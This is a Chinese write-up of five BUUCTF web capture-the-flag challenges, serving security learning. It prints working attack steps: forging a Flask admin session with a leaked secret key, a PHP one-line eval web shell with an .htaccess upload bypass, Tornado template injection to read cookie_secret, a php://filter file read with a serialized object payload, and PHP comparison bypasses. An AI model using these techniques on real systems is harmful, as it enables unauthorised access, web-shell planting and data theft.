BUUCTF-Web方向21-25wp

news2025/2/25 8:05:08

目录

    • [HCTF 2018]admin
      • 弱口令
      • session伪造
    • [MRCTF2020]你传你🐎呢
    • [护网杯 2018]easy_tornado
    • [ZJCTF 2019]NiZhuanSiWei
    • [MRCTF2020]Ez_bypass
      • 第一层
      • 第二层

[HCTF 2018]admin

打开环境,有三处提示,一个跳转链接,一个登录注册,一个提示不是admin

点击hctf,无法访问

注册个账号,依旧无法查看,看来需要admin账号

弱口令

爆破密码

当密码未123长度明显不同

登录

session伪造

在修改密码界面,提示session

下载该源码查看,index.php

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}       //session的name=admin才行
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

session值

.eJw9UE2PgjAQ_SubOXuQghcTD26KRpJpgykh04txEYFC3QQ1QI3_faubeJi8w_uYN_OAw7kvrzUsb_29nMGhOcHyAV8_sASy2iCvFqgokHk8IaOB8t1c8nYSLB00_65lvumkykZy-xpNHAmXhTpPvDN2wsYM7d6QWjPhUoeqCsh6ncVRvjTce_mmIdOGMscFuXgSvJgLtgu812PKSPkOeRaJ7aYjV4V6mwV6S6Pku0mbtfPZkZ8VPGdQXPvz4fbblpfPCWiKQShiyNKQTDUK489wSatNNiBvI-SFr-5XqaR5IZmTwWr1jmvssSo_SWVXx1n6z1yO1hNw649FCzO4X8v-_TcI5vD8A-s4bN0.Z7qRbQ.v-Ap7KW-T8GzuEtnu2WDl_-2plg

在config.py中

import os
class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'     //secret_key=ckj123
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

工具下载

git clone https://github.com/noraj/flask-session-cookie-manager

解密:

python3 flask_session_cookie_manager3.py decode -c .eJw9UE2PgjAQ_SubOXuQghcTD26KRpJpgykh04txEYFC3QQ1QI3_faubeJi8w_uYN_OAw7kvrzUsb_29nMGhOcHyAV8_sASy2iCvFqgokHk8IaOB8t1c8nYSLB00_65lvumkykZy-xpNHAmXhTpPvDN2wsYM7d6QWjPhUoeqCsh6ncVRvjTce_mmIdOGMscFuXgSvJgLtgu812PKSPkOeRaJ7aYjV4V6mwV6S6Pku0mbtfPZkZ8VPGdQXPvz4fbblpfPCWiKQShiyNKQTDUK489wSatNNiBvI-SFr-5XqaR5IZmTwWr1jmvssSo_SWVXx1n6z1yO1hNw649FCzO4X8v-_TcI5vD8A-s4bN0.Z7qRbQ.v-Ap7KW-T8GzuEtnu2WDl_-2plg -s ckj123

解密结果,这里我们需要将name改成admin

{'_fresh': True, '_id': b'bfc0891659a23f0ab48927d0d0a9ae951c4a218757ebff136a62dca06743185bda2c19bfd1e81bb979c9c124747b56a47d6a6c1e84aec87de5df1822f03a08a0', 'csrf_token': b'2705663d7b8161232df50098071c1452bc14b7c2', 'image': b'zXDQ', 'name': 'track', 'user_id': '10'}

进行session伪造

python3 flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': b'bfc0891659a23f0ab48927d0d0a9ae951c4a218757ebff136a62dca06743185bda2c19bfd1e81bb979c9c124747b56a47d6a6c1e84aec87de5df1822f03a08a0', 'csrf_token': b'2705663d7b8161232df50098071c1452bc14b7c2', 'image': b'zXDQ', 'name': 'admin', 'user_id': '10'}" -s ckj123

伪造的session

.eJw9UE2PgjAQ_SubOXuQghcTD26KBpJpgykh04txEYFi3QQ1QI3_faubeJi8w_uYN_OA_amvrg0sb_29msG-PcLyAV8_sASy2iCvF6gokEU8IaOBimQueTcJlg2afzey2JylykdyuwZNHAmXh7pIvTN2wsYM7c6QWjPhMoeqDsh6ncVRvjTce_mmJdOFssAFuXgSvJwLlgTe6zFjpHyHIo_EdnMmV4d6mwd6S6PkyaTN2vnsyM8KnjMor_1pf_vtqsvnBDTlIBQxZFlIph6F8We4tNMmH5B3EfLSV_erVNq-kMzRYL16x7X2UFefpOrcxHn2z1wO1hNwONr2AjO4X6v-_TcI5vD8A-oIbNE.Z7qUFw.wgQI2lOZR0DLoEc8neo5vNoDBaU

在初始页面包中修改session,拿到flag

[MRCTF2020]你传你🐎呢

本题:上传一句话木马判断过滤方式,白名单/黑名单,成功绕过之后,找上传路径,访问该路径,如果没有解析出来,需要抓包上传.htaccess文件,使上传的木马文件正常解析,然后再次访问木马文件,成功解析之后再用蚁剑链接

当我们上传文件时,会随机生成上传路径(即一个目录),如果只是单独的一个shell.jpg是无法正常解析的,需要.htaccess文件使在同一目录下被包含的文件正常解析,如下

打开环境,是文件上传

这里测试之后发现过滤了php,phtml等文件,而且上传的木马文件会无法解析,所以这题需要利用文件绕过

上传图片马文件,然后查看路径,会发现浏览器无法正常解析

上传一个htaccess文件然后抓包修改

然后上传木马文件

track
<?php @eval($_POST["a"]);?>

访问该路径,正常解析

使用蚁剑连接即可

[护网杯 2018]easy_tornado

打开环境,有三处跳转

逐个查看

flag.txt,提示flag在**/fllllllllllllag**

welcome.txt,给了一个render

hint.txt,告诉了一个格式md5(cookie_secret+md5(filename))

在访问的时候我们注意到,url存在相同格式

url/file?filename=/文件名&filehash=32位小写md5

所以说这题应该是要利用flag路径然后找到cookie_secret然后进行md5加密,结合题目应该是tornamo模板注入漏洞

当报错时,会有一个msg参数,会回显输入的值

看看{{7*7}}

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量,这里面就存在我们需要的cookie_secret

拿到之后就可以加密求解了

md5(1aafd574-698c-4ae2-9caa-80f45c8af977+md5(/fllllllllllllag))
#md5(1aafd574-698c-4ae2-9caa-80f45c8af9773bf9f6cf685a6dd8defadabfb41a03a1)
#6150fe6edda96aee462235e6fe5e6b9d

拿到flag

[ZJCTF 2019]NiZhuanSiWei

打开环境,是如下源码

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){  //用了强比较===,检查text变量是否是welcome to the zjctf
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";  //是则输出
    if(preg_match("/flag/",$file)){       //禁止了file变量中存在/flag字符串
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php        //可能需要读取useless.php
        $password = unserialize($password);   //将password反序列化
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

先用data url绕过第一层

url?text=data://text/plain,welcome to the zjctf

利用php伪协议读取useless.php

url/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码得到useless.php的源码

<?php  

class Flag{  //flag.php   //定义Flag类
    public $file;                      //定义file属性,存储文件路径或文件名。由于它是公共的,外部代码可以直接访问和修改它。
    public function __tostring(){      //一种魔术方法,当对象被当作字符串使用时会被自动调用,如echo,print   
        if(isset($this->file)){  
            echo file_get_contents($this->file);     //打印file属性指向的文件
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

进行序列化

拿到序列化内容

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

进行拼接得到最终pyload

http://9d48ea6b-724a-4517-b3d8-a12b5eb11352.node5.buuoj.cn:81?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源码得到flag

[MRCTF2020]Ez_bypass

打开环境,是如下源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {     //get方式传入gg和id两个参数
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {     //====强比较,md5值相同,本身不同
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))              //如果不是纯数字,进入下一层
            {
                 if($passwd==1234567)             //检查passwd位1234567,
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

第一层

利用数组绕过

第二层

这里需要利用php特性,==是弱比较类型,由于php是一种弱语言,所以在比较时会自动转化位同一类型,这里利用了intval函数,而本体函数不能是纯数字,并且也必须=1234567,故可以用数字+字符拼接绕过,因为字符不会被转换,及1234567aa=1234567

拿到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2304782.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

软考——WWW与HTTP

1.万维网&#xff08;world wide web&#xff09; 是一个规模巨大的、可以资源互联的资料空间。由URL进行定位&#xff0c;通过HTTP协议传送给使用者&#xff0c;又由HTML来进行文件的展现。 它的主要组成部分是&#xff1a;URL、HTTP、HTML。 &#xff08;1&#xff09;URL…

GO 进行编译时插桩,实现零码注入

Go 编译时插桩 Go 语言的编译时插桩是一种在编译阶段自动注入监控代码的技术&#xff0c;目的是在不修改业务代码的情况下&#xff0c;实现对应用程序的监控和追踪。 基本原理 Go 编译时插桩的核心思想是通过在编译过程中对源代码进行分析和修改&#xff0c;将监控代码注入到…

为人工智能驱动的交通研究增强路面传感器数据采集

论文标题 英文标题&#xff1a;Enhancing Pavement Sensor Data Harvesting for AI-Driven Transportation Studies 中文标题&#xff1a;为人工智能驱动的交通研究增强路面传感器数据采集 作者信息 Manish Kumar Krishne Gowda Purdue University, 465 Northwestern Avenue,…

unordered_set和unordered_map的使用

Hello&#xff0c;今天我来为大家介绍一下前几年才刚刚新出的两个容器——unordered_map和unordered_set&#xff0c;这两个容器属于是map系列和set系列中的一种&#xff0c;和map/set不同的是它们的底层&#xff0c;map/set的底层是红黑树&#xff0c;而unordered_map/unorder…

【实体类】分层设计

【实体类】分层设计 【一】实体类的PO、VO、DO、DAO、BO、DTO、POJO有什么区别【1】PO&#xff08;Persistent Object&#xff09;【2】VO&#xff08;View Object&#xff09;【3】DO&#xff08;Domain Object&#xff09;【4】DAO&#xff08;Data Access Object&#xff09…

【无人集群系列---无人机集群编队算法】

【无人集群系列---无人机集群编队算法】 一、核心目标二、主流编队控制方法1. 领航-跟随法&#xff08;Leader-Follower&#xff09;2. 虚拟结构法&#xff08;Virtual Structure&#xff09;3. 行为法&#xff08;Behavior-Based&#xff09;4. 人工势场法&#xff08;Artific…

C语言基本知识------指针(4)

1. 回调函数是什么&#xff1f; 回调函数就是⼀个通过函数指针调用的函数。 如果你把函数的指针&#xff08;地址&#xff09;作为参数传递给另⼀个函数&#xff0c;当这个指针被⽤来调⽤其所指向的函数 时&#xff0c;被调⽤的函数就是回调函数。 void qsort(void base,//指针…

使用 BFS 解决 最短路问题

找往期文章包括但不限于本期文章中不懂的知识点&#xff1a; 个人主页&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 所属专栏&#xff1a; 优选算法专题 目录 1926.迷宫中离入口最近的出口 433.最小基因变化 127.单词接龙 675.为高尔夫比赛砍树 1926.迷宫中离入口最近的出口 题…

【嵌入式Linux应用开发基础】网络编程(1):TCP/IP协议栈

目录 一、TCP/IP协议栈分层与核心协议 2.1. 应用层 2.2. 传输层 2.3. 网络层 2.4. 链路层 二、嵌入式Socket编程关键步骤 2.1. TCP服务端流程 2.2. TCP客户端流程 三、TCP/IP协议栈的配置与调试 四、嵌入式场景优化策略 4.1. 资源管理 4.2. 性能调优 4.3. 健壮性保…

BUUCTF--[极客大挑战 2019]RCE ME

目录 URL编码取反绕过 异或绕过 异或的代码 flag 借助蚁剑中的插件进行绕过 利用动态链接库 编写恶意c语言代码 进行编译 然后再写一个php文件 将这两个文件上传到/var/tmp下 运行payload 直接看代码 <?php error_reporting(0); if(isset($_GET[code])){$code$_G…

【K8s】专题十六(2):Kubernetes 包管理工具之 Helm 使用

本文内容均来自个人笔记并重新梳理&#xff0c;如有错误欢迎指正&#xff01; 如果对您有帮助&#xff0c;烦请点赞、关注、转发、订阅专栏&#xff01; 专栏订阅入口 | 精选文章 | Kubernetes | Docker | Linux | 羊毛资源 | 工具推荐 | 往期精彩文章 【Docker】&#xff08;全…

VMware NSX 4.X Professional V2(2V0-41.24)题库2

What are two supported host switch modes? (Choose two.) A. Overlay Datapath B. Secure Datapath C. Standard Datapath D. Enhanced Datapath E. DPDK Datapath 答案&#xff1a;CD 完整题库见文章底部&#xff01; Which is an advantage of an L2 VPN in an NSX 4.x …

算法-数据结构-图的构建(邻接矩阵表示)

数据定义 //邻接矩阵表示图 //1.无向图是对称的 //2.有权的把a,到b 对应的位置换成权的值/*** 无向图* A B* A 0 1* B 1 0*/ /*** 有向图* A B* A 0 1* B 0 0*/import java.util.ArrayList; import java.util.List;/*** 带权图* A B* A 0 1* B 0 0*/ p…

ARCGIS国土超级工具集1.4更新说明

ARCGIS国土超级工具集V1.4版本&#xff0c;功能已增加至54 个。本次更新在V1.3版本的基础上&#xff0c;新增了“拓扑问题修复工具”并同时调整了数据处理工具栏的布局、工具操作界面的选择图层下拉框新增可选择位于图层组内的要素图层功能、数据保存路径新增了可选择数据库内的…

Ollama+Cherrystudio+beg-m3+Deepseek R1 32b部署本地私人知识库(2025年2月win11版)

之前综合网络各方面信息得到的配置表&#xff1a; 在信息爆炸的时代&#xff0c;数据安全和个性化需求愈发凸显。搭建本地私人知识库&#xff0c;不仅能确保数据的安全性&#xff0c;还能根据个人需求进行个性化定制&#xff0c;实现知识的高效管理和利用。随着技术的不断发展…

用Golang与WebAssembly构建高性能Web应用:详解`syscall/js`包

用Golang与WebAssembly构建高性能Web应用&#xff1a;详解syscall/js包 引言为什么选择syscall/js包&#xff1f;适用场景 syscall/js包概述syscall/js包的核心概念1. js.Global2. js.Value3. js.Func4. js.Null 和 js.Undefined syscall/js包在WebAssembly中的位置 环境配置与…

【每日八股】计算机网络篇(一):概述

OSI 的 7 层网络模型&#xff1f; OSI&#xff08;Open Systems Interconnection&#xff0c;开放互联系统&#xff09;是由国际标准化组织&#xff08;ISO&#xff09;提出的一种网络通信模型。 自上而下&#xff0c;OSI 可以被分为七层&#xff0c;分别是&#xff1a;应用层…

C语言中的文件和文件操作

文件操作 一、文件的打开和关闭二、文件的顺序读写fgetc和fputcfgets和fputsfscanf和fprintfsscanf和sprintffread和fwrite 三、文件的随机读写1.fseek2.ftell3.rewind 四、补充1.文件读取结束的判定2.文件缓冲区 一、文件的打开和关闭 流和标准流 流&#xff1a;想象为流淌着…

2.24力扣每日一题--设计有序流

1656. 设计有序流 - 力扣&#xff08;LeetCode&#xff09; &#xff08;设计一个可以存储n个字符串的数据结构&#xff0c;其中满足存在一个”指针“&#xff0c;用以展示当下是否还存在空间存储&#xff0c;每个字符串有自己ID需要存储&#xff09; 数据结构&#xff1a; 字…

架构——Nginx功能、职责、原理、配置示例、应用场景

以下是关于 Nginx 的功能、职责、原理、配置示例、应用场景及其高性能原因的详细说明&#xff1a; 一、Nginx 的核心功能 1. 静态资源服务 功能&#xff1a;直接返回静态文件&#xff08;如 HTML、CSS、JS、图片、视频等&#xff09;。配置示例&#xff1a;server {listen 80…